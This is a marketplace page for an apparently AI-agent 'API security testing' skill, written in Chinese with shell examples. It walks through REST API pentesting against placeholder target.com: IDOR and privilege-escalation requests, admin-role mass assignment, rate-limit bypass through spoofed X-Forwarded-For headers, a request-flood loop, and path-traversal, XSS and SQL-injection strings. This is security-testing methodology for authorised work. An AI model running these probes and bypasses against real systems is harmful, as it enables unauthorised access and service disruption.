mcpField
T
testing-apis

testing-apis

github.com/trilwu安全177111 次安装12 周前更新
代码仓库

关于 testing-apis

testing-apis 是用于评估 REST 和 GraphQL API 的安全技能,涵盖端点发现、认证与授权检查、模糊测试及常见 API 弱点测试,并说明何时应改用专门技能。

主要功能

  1. 01REST API 发现与测试
  2. 02认证和授权检查
  3. 03速率限制与业务逻辑测试
  4. 04参数模糊测试和注入检查
  5. 05OpenAPI 文档分析

适用场景

  1. 01评估 REST API 端点
  2. 02检查 IDOR 和权限提升
  3. 03模糊测试参数与请求体
  4. 04审查暴露的 API 文档

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill testing-apis

安装后在 Claude Code 中输入/testing-apis确认已加载。

附带文件references/graphql-and-injection-attacks.md

详细介绍

API 安全测试技能

你是一名专精于 REST、GraphQL 和 API 渗透测试的 API 安全专家。用户请求以下方面的帮助时,请使用此技能:

  • REST API 安全测试
  • GraphQL API 利用
  • 绕过 API 身份验证
  • API 授权漏洞
  • 绕过速率限制
  • API 模糊测试
  • 批量赋值漏洞
  • 发现 API 文档

适用场景

用户请求以下操作时,启用此技能:

  • 测试 REST 或 GraphQL API
  • 查找 API 漏洞
  • 绕过 API 身份验证/授权
  • 发现 API 端点
  • 测试 API 业务逻辑
  • 执行 API 模糊测试
  • 分析 API 文档
  • 协助进行 API 渗透测试

不适用场景

  • 有源代码可用 — 使用 auditing-code-for-vulnerabilities
  • 浏览器渲染的应用界面 — 使用 testing-web-applications
  • 令牌和签名构造审查 — 使用 reviewing-cryptography
  • LLM/Agent 工具 API — 使用 securing-ai-systems
  • 专门针对 GraphQL — 使用 attacking-graphql;授权逻辑位于解析器中,且批处理会使按请求限速失效
  • gRPC/protobuf — 使用 attacking-grpc-protobuf;必须先还原架构,其他操作才能进行
  • 使服务端获取 URL 的参数 — 使用 exploiting-ssrf
  • 包含序列化对象的请求体或 Cookie — 使用 exploiting-deserialization
  • 需要伪造、破解或利用的 JWT Bearer 令牌 — 使用 attacking-jwt
  • 用于签发令牌的 OAuth/OIDC 流程 — 使用 attacking-oauth-oidc
  • 可能解析外部实体的 XML 或 SOAP 请求体 — 使用 exploiting-xxe

核心方法

1. API 发现与侦察

查找 API 端点:

# Common API paths
/api/
/api/v1/
/api/v2/
/rest/
/graphql
/swagger
/api-docs
/swagger.json
/swagger.yaml
/openapi.json
/api/swagger-ui/
/api/docs

# Directory fuzzing for APIs
ffuf -u https://target.com/FUZZ -w api-wordlist.txt -mc 200,301,302,403
gobuster dir -u https://target.com -w api-paths.txt

# JavaScript analysis
# Extract API endpoints from JS files
cat app.js | grep -Eo "(GET|POST|PUT|DELETE|PATCH)\s+['\"]([^'\"]+)"

API 文档:

# Swagger/OpenAPI
curl https://target.com/swagger.json
curl https://target.com/v2/swagger.json
curl https://target.com/api-docs

# Check for exposed docs
https://target.com/docs
https://target.com/api/docs
https://target.com/swagger-ui/
https://target.com/redoc

API 子域名枚举:

# Common API subdomains
api.target.com
api-dev.target.com
api-staging.target.com
api-prod.target.com
rest.target.com
graphql.target.com

# Subdomain fuzzing
ffuf -u https://FUZZ.target.com -w subdomains.txt
2. REST API 测试

HTTP 方法测试:

# Check all HTTP methods
curl -X GET https://api.target.com/users/1
curl -X POST https://api.target.com/users
curl -X PUT https://api.target.com/users/1
curl -X DELETE https://api.target.com/users/1
curl -X PATCH https://api.target.com/users/1
curl -X HEAD https://api.target.com/users/1
curl -X OPTIONS https://api.target.com/users/1

# Check for method override
curl -X POST https://api.target.com/users/1 -H "X-HTTP-Method-Override: DELETE"
curl -X POST https://api.target.com/users/1 -H "X-Method-Override: PUT"

身份验证测试:

# No authentication
curl https://api.target.com/users

# Bearer token
curl https://api.target.com/users -H "Authorization: Bearer TOKEN"

# Basic auth
curl -u username:password https://api.target.com/users

# API key
curl https://api.target.com/users?api_key=KEY
curl https://api.target.com/users -H "X-API-Key: KEY"

# JWT token
curl https://api.target.com/users -H "Authorization: Bearer eyJhbGc..."

IDOR(不安全的直接对象引用):

# Test sequential IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/100

# Test UUIDs
curl https://api.target.com/users/550e8400-e29b-41d4-a716-446655440000

# Test with different users
# User A's token accessing User B's data
curl https://api.target.com/users/2 -H "Authorization: Bearer USER_A_TOKEN"

批量赋值:

# Modify request to include unexpected fields
# Original: {"username":"test","email":"[email protected]"}
# Modified: {"username":"test","email":"[email protected]","role":"admin","is_admin":true}

curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","email":"[email protected]","role":"admin","is_admin":true}'

# Common fields to try
# role, is_admin, admin, user_level, permissions, credits, balance

过度数据暴露:

# Check response for sensitive data
curl https://api.target.com/users | jq

# Look for:
# - Password hashes
# - Internal IDs
# - Email addresses
# - API keys
# - Tokens
# - PII
3. GraphQL API 测试

请参阅 references/graphql-and-injection-attacks.md, 了解 GraphQL 发现端点、自省查询、查询/变更示例,以及 GraphQL 专用攻击载荷(IDOR、批量赋值、批处理/嵌套 DoS、别名滥用)。若要执行完整的渗透测试,请使用专门的 attacking-graphql 技能。

4. 授权测试

水平权限提升:

# User A trying to access User B's resources
# Get User A's token
TOKEN_A=$(curl -X POST https://api.target.com/login -d '{"username":"userA","password":"passA"}' | jq -r .token)

# Try to access User B's data with User A's token
curl https://api.target.com/users/2 -H "Authorization: Bearer $TOKEN_A"
curl https://api.target.com/users/2/orders -H "Authorization: Bearer $TOKEN_A"

垂直权限提升:

# Regular user trying to access admin functions
# Get regular user token
TOKEN_USER=$(curl -X POST https://api.target.com/login -d '{"username":"user","password":"pass"}' | jq -r .token)

# Try admin endpoints
curl https://api.target.com/admin/users -H "Authorization: Bearer $TOKEN_USER"
curl -X DELETE https://api.target.com/admin/users/1 -H "Authorization: Bearer $TOKEN_USER"

功能级授权:

# Test all endpoints with different user roles
# - Unauthenticated
# - Low-privilege user
# - Medium-privilege user
# - Admin user

# Endpoints to test
GET /api/admin/*
POST /api/admin/*
DELETE /api/admin/*
PUT /api/admin/*
5. 速率限制与 DoS

测试速率限制:

# Rapid requests
for i in {1..1000}; do
  curl https://api.target.com/expensive-endpoint &
done

# Check response headers
curl -I https://api.target.com/endpoint
# Look for:
# X-RateLimit-Limit
# X-RateLimit-Remaining
# X-RateLimit-Reset
# Retry-After

绕过速率限制:

# Change IP (X-Forwarded-For, X-Real-IP)
curl https://api.target.com/endpoint -H "X-Forwarded-For: 1.2.3.4"
curl https://api.target.com/endpoint -H "X-Real-IP: 1.2.3.4"
curl https://api.target.com/endpoint -H "X-Originating-IP: 1.2.3.4"

# Change User-Agent
curl https://api.target.com/endpoint -H "User-Agent: Different-Agent"

# Add junk parameters
curl https://api.target.com/endpoint?random=123
curl https://api.target.com/endpoint?random=456

# Case manipulation
curl https://api.target.com/Endpoint
curl https://api.target.com/ENDPOINT
6. API 模糊测试

参数模糊测试:

# ffuf for parameter discovery
ffuf -u https://api.target.com/endpoint?FUZZ=test -w parameters.txt

# Arjun
arjun -u https://api.target.com/endpoint

# Test various inputs
curl https://api.target.com/users?id=1
curl https://api.target.com/users?id=../../etc/passwd
curl https://api.target.com/users?id=<script>alert(1)</script>
curl https://api.target.com/users?id=' OR '1'='1

使用 wfuzz 进行模糊测试:

# POST data fuzzing
wfuzz -z file,wordlist.txt -d "username=FUZZ&password=test" https://api.target.com/login

# Header fuzzing
wfuzz -z file,wordlist.txt -H "X-Custom-Header: FUZZ" https://api.target.com/endpoint

Content-Type 混淆:

# Try different content types
curl -X POST https://api.target.com/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"admin"}'

curl -X POST https://api.target.com/endpoint \
  -H "Content-Type: application/xml" \
  -d '<user>admin</user>'

curl -X POST https://api.target.com/endpoint \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'user=admin'

# Send JSON to XML endpoint and vice versa
7. API 安全工具

Burp Suite:

# Send requests to Repeater for manual testing
# Use Intruder for fuzzing
# Scan with active/passive scanner
# Use extensions: Autorize, AuthMatrix, JWT4B

Postman:

# Import API collection
# Test all endpoints
# Use environment variables for tokens
# Create test scripts
# Export collection for collaboration

OWASP ZAP:

# Automated API scan
zap-cli quick-scan https://api.target.com

# Spider API
zap-cli spider https://api.target.com

# Active scan
zap-cli active-scan https://api.target.com

API 专用工具:

# RESTler (Microsoft) - REST API fuzzer
git clone https://github.com/microsoft/restler-fuzzer
python3 restler.py --api_spec swagger.json

# Kiterunner - API endpoint discovery
kr scan https://target.com -w routes.txt

# Nuclei with API templates
nuclei -u https://api.target.com -t ~/nuclei-templates/api/
8. API 注入攻击

请参阅 references/graphql-and-injection-attacks.md, 获取完整的 API 注入载荷目录:适用于查询参数和 JSON/XML 请求体的 SQL、命令、NoSQL 和 XXE 载荷。

9. API 文档分析

Swagger/OpenAPI 分析:

# Download spec
curl https://api.target.com/swagger.json > swagger.json

# Analyze with jq
cat swagger.json | jq '.paths'
cat swagger.json | jq '.definitions'

# Extract all endpoints
cat swagger.json | jq -r '.paths | keys[]'

# Find parameters
cat swagger.json | jq '.paths[].get.parameters'
10. API 安全检查清单

身份验证:

  • 测试未进行身份验证的情况
  • 测试无效令牌
  • 测试过期令牌
  • 测试将令牌放在 URL 中与放在标头中的情况
  • 检查是否可绕过身份验证

授权:

  • 测试 IDOR 漏洞
  • 测试水平权限提升
  • 测试垂直权限提升
  • 测试函数级授权
  • 测试缺少授权检查的情况

输入验证:

  • 测试 SQL 注入
  • 测试 NoSQL 注入
  • 测试命令注入
  • 测试 XXE
  • 测试 API 响应中的 XSS

业务逻辑:

  • 测试批量赋值
  • 测试过度的数据暴露
  • 测试速率限制
  • 测试资源耗尽
  • 测试业务逻辑缺陷

配置:

  • 检查是否公开了文档
  • 检查安全标头
  • 检查 CORS 配置
  • 检查错误消息(信息泄露)
  • 检查调试端点

快速测试命令

测试端点:

# GET request
curl -v https://api.target.com/endpoint

# POST with JSON
curl -X POST https://api.target.com/endpoint \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

# With authentication
curl https://api.target.com/endpoint \
  -H "Authorization: Bearer TOKEN"

# See full response
curl -i https://api.target.com/endpoint

故障排除

CORS 问题:

# Check CORS headers
curl -H "Origin: https://evil.com" https://api.target.com/endpoint

# Look for:
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true

触发速率限制:

# Add delays between requests
for i in {1..100}; do curl https://api.target.com/endpoint; sleep 1; done

# Try bypass techniques (X-Forwarded-For, etc.)

参考链接

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请对照 当前 ATT&CK 版本重新核实。

初始访问(TA0001)

  • T1190 利用面向公众的应用程序——另请参阅 testing-web-applications、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-ssrf、exploiting-xxe

凭据访问(TA0006)

  • T1528 窃取应用程序访问令牌——另请参阅 exploiting-cloud-platforms、attacking-entra-id、attacking-oauth-oidc

这些技术的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。

评论

支持 Markdown